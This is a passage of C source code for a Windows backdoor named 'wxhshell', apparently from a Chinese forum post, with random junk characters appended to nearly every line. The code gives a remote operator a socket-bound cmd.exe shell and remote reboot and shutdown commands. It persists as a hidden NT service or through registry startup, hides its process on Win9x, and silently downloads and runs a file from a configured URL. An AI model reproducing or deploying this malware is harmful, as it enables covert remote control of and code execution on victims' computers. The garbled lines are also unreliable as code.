  } fWBI}~e  
  else { ;_^ "}  
3C8W]yw/s  
    switch(cmd[0]) { ;7]Q'N  
  &Z^,-Y  
  // 帮助 2Rp'ju~O)/  
  case '?': { X|WAUp?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GAlAFsB  
    break; Bi +a)_K  
  } w C0fPPeA  
  // 安装 >Tm|}\qEb  
  case 'i': { -pRyN]YD  
    if(Install()) 82X}@5o2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +c699j;[  
    else O_p:`h:;M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f]BG`rJX  
    break; <Dr*^GX>?  
    } hOX$|0i  
  // 卸载 ='7n  
  case 'r': { 35;)O -  
    if(Uninstall()) l_!.yV{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !8|]R  
    else eqSCNYN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t:X[Blw3$  
    break; o%Lk6QA$  
    } bT@7&  
  // 显示 wxhshell 所在路径 {V!Jj6n  
  case 'p': { j${:Y$VmE  
    char svExeFile[MAX_PATH]; dm Lgt)-t  
    strcpy(svExeFile,"\n\r"); N[j7^q7Xt  
      strcat(svExeFile,ExeFile); d0b--v/  
        send(wsh,svExeFile,strlen(svExeFile),0); cz/mUU  
    break; )>ed6A1  
    } U4_ <  
  // 重启 $J #}3;a  
  case 'b': { icF -`m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y962rZ  
    if(Boot(REBOOT)) ;<#fZ0(l;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Lp%V$'  
    else { -/aDq?<<  
    closesocket(wsh); R0fZ9_d7}  
    ExitThread(0); {sy#&m(el  
    } P,!k^J3:l  
    break; {MKq Yl{  
    } {Gs&u>>R"^  
  // 关机 Kg>+5~+E?q  
  case 'd': { >]=1~ sF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o(~>a  
    if(Boot(SHUTDOWN)) xZS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F'Fc)9qFa<  
    else { _f,q8ZkSr  
    closesocket(wsh); .9 WUp>  
    ExitThread(0); <W vuW6  
    } hX=+%^c%_A  
    break; SGH"m/ e  
    } VVJhQbP  
  // 获取shell /'G'GQrr  
  case 's': { IqEY.2KN  
    CmdShell(wsh); L5cNCWpo  
    closesocket(wsh); lw? f2_fi  
    ExitThread(0); ~sAINV>A  
    break; @P"q`*  
  } S'Q$N-Dy  
  // 退出 `R8~H7{I6  
  case 'x': { P _Zf(`jJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YFLWkdqAY  
    CloseIt(wsh); N{P (ym2yR  
    break; ]-)qL[Q  
    } uGLVY%N  
  // 离开 8pDJz_F!{  
  case 'q': { t2+m7*76  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "SyyOD )WA  
    closesocket(wsh); %dL|i2+*8  
    WSACleanup(); Ft`#]=IS  
    exit(1); LjXtOF  
    break; ;pb~Zk/[,w  
        } 2Pi}<pG~  
  } 3 %dbfT j  
  } ?Dm!;Z+7  
>6ch[W5k@  
  // 提示信息 IwFg1\>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z]P|%  
} %)l2dK&9"j  
  } o|alL-  
;=)CjC8)  
  return; 9z_Gf]J~  
} {(7. X4\x  
R) @ k|  
// shell模块句柄 o,Ha-z]f  
int CmdShell(SOCKET sock) ZQl[h7c/N  
{ \|j`jsq  
STARTUPINFO si; B7 }-g"p$/  
ZeroMemory(&si,sizeof(si)); 6/@ cP/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r7ywK9UL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uaJ5'*  
PROCESS_INFORMATION ProcessInfo; pBL{DgX  
char cmdline[]="cmd"; Y60ld7H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f^%vIB ~[  
  return 0; s977k2pp-  
} 4sZ^:h,1  
0U`Ic_.  
// 自身启动模式 =nid #<X  
int StartFromService(void) zy$hDy0  
{ KM0#M'dXy  
typedef struct >t*zY~R.  
{ {b/AOR o  
  DWORD ExitStatus; Xx?Jt  
  DWORD PebBaseAddress; G =< KAJ  
  DWORD AffinityMask; |UR.7rOV  
  DWORD BasePriority; =$BgIt  
  ULONG UniqueProcessId; 2N)Ywqvj  
  ULONG InheritedFromUniqueProcessId; sL&u%7>Re  
}   PROCESS_BASIC_INFORMATION; wc__g8?'  
2s 6Vy  
PROCNTQSIP NtQueryInformationProcess; O=mGL  
&LL81u6=S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &# @1n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^x/0*t5};z  
a-QHm;_S  
  HANDLE             hProcess; >Q+EqT  
  PROCESS_BASIC_INFORMATION pbi; 4-3B"  
*Z/B\nb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t 8M3VGN  
  if(NULL == hInst ) return 0; 3 !}'A  
*"e[au^8*b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qHHWe<}OT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `kj7I{'l%9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %0u7pk  
{L4^IKI  
  if (!NtQueryInformationProcess) return 0; P_ ZguNH  
5.\!k8a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R2~Rqlti  
  if(!hProcess) return 0; C)ChF`Ru':  
E&K8hY%5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t"BpaA^gO  
%5z88-\  
  CloseHandle(hProcess); ,2kWj7H%7  
KR522YW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?tSY=DK\n  
if(hProcess==NULL) return 0; 7rr5$,Mv  
oFIs,[ Go  
HMODULE hMod; fO(.I  
char procName[255]; ]\3dJ^q|%  
unsigned long cbNeeded; >2C;5ba  
~;`i&s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z$YOV"N  
`\.n_nM  
  CloseHandle(hProcess); P)}:lTe  
j?8E >tM  
if(strstr(procName,"services")) return 1; // 以服务启动 `o*eLLk  
74[}AA  
  return 0; // 注册表启动 twN(]w}Ps|  
} <$=8'$T81  
Fvv6<E  
// 主模块 (PB|.`_<H  
int StartWxhshell(LPSTR lpCmdLine) [Q$"+@jw  
{ <Jvr mm[  
  SOCKET wsl; i2!{.*.  
BOOL val=TRUE; @rJ#Dr  
  int port=0; hZJ Nh,,w  
  struct sockaddr_in door; TZ*ib~  
Em?skUnG,  
  if(wscfg.ws_autoins) Install(); Cy2X>Tl"<E  
#IXQ;2%E  
port=atoi(lpCmdLine); ca`=dwe>  
AzQ}}A;TSx  
if(port<=0) port=wscfg.ws_port; >H%8~ Oek  
~_oTEXT^O  
  WSADATA data; ;x7SY;0*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |zUDu\MZ{  
{&4qknPd%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   onmO>q*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ilHj%h*z  
  door.sin_family = AF_INET; 0- #ct1-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /2U.,vw  
  door.sin_port = htons(port); JBg>E3*N  
'1{~y3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {   C[Fh^  
closesocket(wsl); cCeD3CuRA%  
return 1; jQdfFR  
} }i[jJb`bY  
LnL<WI*Pq  
  if(listen(wsl,2) == INVALID_SOCKET) { p;H1,E:Re#  
closesocket(wsl); 4 IHl'*D[#  
return 1; z/T ZOFaM  
} 'nLv0.7*  
  Wxhshell(wsl); W"0#  
  WSACleanup(); 7oWv'  
fXqe7[  
return 0; ruW6cvsvet  
ywdNwNJ  
} HWd,1  
FStfGN  
// 以NT服务方式启动 msCAC*;,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nxJhK T  
{ ,=ICSS~9l  
DWORD   status = 0; jC@^/rMh  
  DWORD   specificError = 0xfffffff; y>o#Hq&qM  
r({(;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0<)8 ?ow  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4VooU [Ka(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bw[!f4~  
  serviceStatus.dwWin32ExitCode     = 0;  O{4m-;  
  serviceStatus.dwServiceSpecificExitCode = 0; _Nj;Ni2rD  
  serviceStatus.dwCheckPoint       = 0; JDs<1@\  
  serviceStatus.dwWaitHint       = 0; [Cs2H8=#  
Vr^wesT\Hx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r`krv-,O$  
  if (hServiceStatusHandle==0) return; m ;KP  
99eS@}RC  
status = GetLastError(); %_u3Np  
  if (status!=NO_ERROR) a0n F U  
{ =:2V4H(F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9-@w(kMu  
    serviceStatus.dwCheckPoint       = 0; ?e@Ff"Y@e  
    serviceStatus.dwWaitHint       = 0; @-m&X2J+c  
    serviceStatus.dwWin32ExitCode     = status; !!QMcx_C#/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5p>a]gp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G ;z2}Ei  
    return; YF"D;.  
  } z XvWo6  
lDH0bBmd0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o#T,vu0s  
  serviceStatus.dwCheckPoint       = 0; &3JbAJ|;X  
  serviceStatus.dwWaitHint       = 0; _ 9k^Hd[L$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @NVq .z  
} T#( s2  
\\'!<Bn2d  
// 处理NT服务事件,比如:启动、停止 Rub""Ga  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ve=0_GR0  
{ '*T7tl  
switch(fdwControl) YF;8il{p  
{ "#9WF}  
case SERVICE_CONTROL_STOP: qV^H vZJ  
  serviceStatus.dwWin32ExitCode = 0; ="u(o(j"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $0wl=S  
  serviceStatus.dwCheckPoint   = 0; T.{I~_  
  serviceStatus.dwWaitHint     = 0; XJQ[aU"[]N  
  { T&!>lqU!J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L*5&hPU  
  } rdC(+2+Ay  
  return; { ~Cqb7  
case SERVICE_CONTROL_PAUSE: H7{ 6t(0j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S`R ( _eD@  
  break; 0zEn`rq&  
case SERVICE_CONTROL_CONTINUE: *</;:?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2x{3'^+l  
  break; 6 o+zhi;E  
case SERVICE_CONTROL_INTERROGATE: BBp Hp  
  break; !WY@)qlf  
}; vI+PL(T@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rbJ-vEzo.#  
} 2V  
c XY!b=9  
// 标准应用程序主函数 C ]#R7G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1.';:/~(  
{ <:ZN  
,+q5e^P  
// 获取操作系统版本 F\XzP\  
OsIsNt=GetOsVer(); r%o!P`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <H 3}N!  
`yVJ `} hm  
  // 从命令行安装 pY:xxnE  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3rWqt  
<( MBs$b  
  // 下载执行文件 )`U T#5  
if(wscfg.ws_downexe) { Bd7A-T)q!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A5nu`e9&  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gud!(5'  
} |D^[]*cEH  
c s hZR(b  
if(!OsIsNt) { aEgzQono  
// 如果时win9x,隐藏进程并且设置为注册表启动 J"SAA0)@  
HideProc(); a1Gy I  
StartWxhshell(lpCmdLine); 3kJAaI8   
} %i^%D  
else zKI(yC  
  if(StartFromService()) I=b#tUBh8  
  // 以服务方式启动 L=VuEF  
  StartServiceCtrlDispatcher(DispatchTable); OCX?U50am  
else 5:AAqMa  
  // 普通方式启动 FS']3uJ/  
  StartWxhshell(lpCmdLine); KRz\ct|  
V# Wd   
return 0; .!Z.1:YR  
}
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只看该作者 1 发表于: 2006-10-10
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